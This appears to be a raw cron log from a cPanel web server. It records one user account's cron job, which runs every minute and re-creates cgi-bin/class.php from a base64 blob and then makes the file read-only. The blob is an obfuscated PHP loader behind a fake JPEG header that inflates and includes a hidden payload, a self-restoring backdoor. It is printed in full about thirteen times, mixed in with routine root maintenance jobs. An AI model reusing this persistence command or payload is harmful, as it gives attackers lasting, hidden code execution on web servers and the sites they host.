Sep  8 09:52:01 server CROND[4415]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 09:52:01 server CROND[4416]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 09:52:01 server CROND[4417]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 09:53:01 server CROND[4801]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 09:53:01 server CROND[4802]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 09:53:01 server CROND[4804]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 09:54:01 server CROND[5262]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 09:54:01 server CROND[5263]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 09:54:01 server CROND[5264]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 09:55:01 server CROND[5637]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 09:55:01 server CROND[5641]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 09:55:01 server CROND[5643]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  8 09:55:01 server CROND[5640]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 09:55:01 server CROND[5644]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 09:55:01 server CROND[5642]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  8 09:55:01 server CROND[5639]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 09:56:01 server CROND[6487]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 09:56:01 server CROND[6486]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 09:56:01 server CROND[6488]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 09:57:01 server CROND[6981]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 09:57:01 server CROND[6982]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 09:57:01 server CROND[6983]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  8 09:57:01 server CROND[6984]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 09:58:01 server CROND[7371]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 09:58:01 server CROND[7370]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 09:58:01 server CROND[7372]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 09:59:01 server CROND[7840]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 09:59:01 server CROND[7842]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 09:59:01 server CROND[7841]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 10:00:01 server CROND[8226]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 10:00:01 server CROND[8228]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  8 10:00:01 server CROND[8232]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 10:00:01 server CROND[8230]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  8 10:00:01 server CROND[8231]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Sep  8 10:00:01 server CROND[8233]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  8 10:00:01 server CROND[8238]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 10:00:01 server CROND[8237]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 10:00:01 server CROND[8234]: (root) CMD (   bash -c 'sleep $((RANDOM % 1800))' ;imunify-antivirus imunify-patch subscriptions refresh > /dev/null 2>&1)
Sep  8 10:00:01 server CROND[8235]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 10:01:01 server CROND[9085]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 10:01:01 server CROND[9086]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 10:01:01 server CROND[9087]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 10:01:01 server CROND[9088]: (root) CMD (run-parts /etc/cron.hourly)
Sep  8 10:01:01 server run-parts(/etc/cron.hourly)[9088]: starting 0anacron
Sep  8 10:01:01 server run-parts(/etc/cron.hourly)[9109]: finished 0anacron
Sep  8 10:02:01 server CROND[9476]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 10:02:01 server CROND[9477]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 10:02:01 server CROND[9479]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 10:03:01 server CROND[9846]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 10:03:01 server CROND[9847]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 10:03:01 server CROND[9848]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 10:04:01 server CROND[10298]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
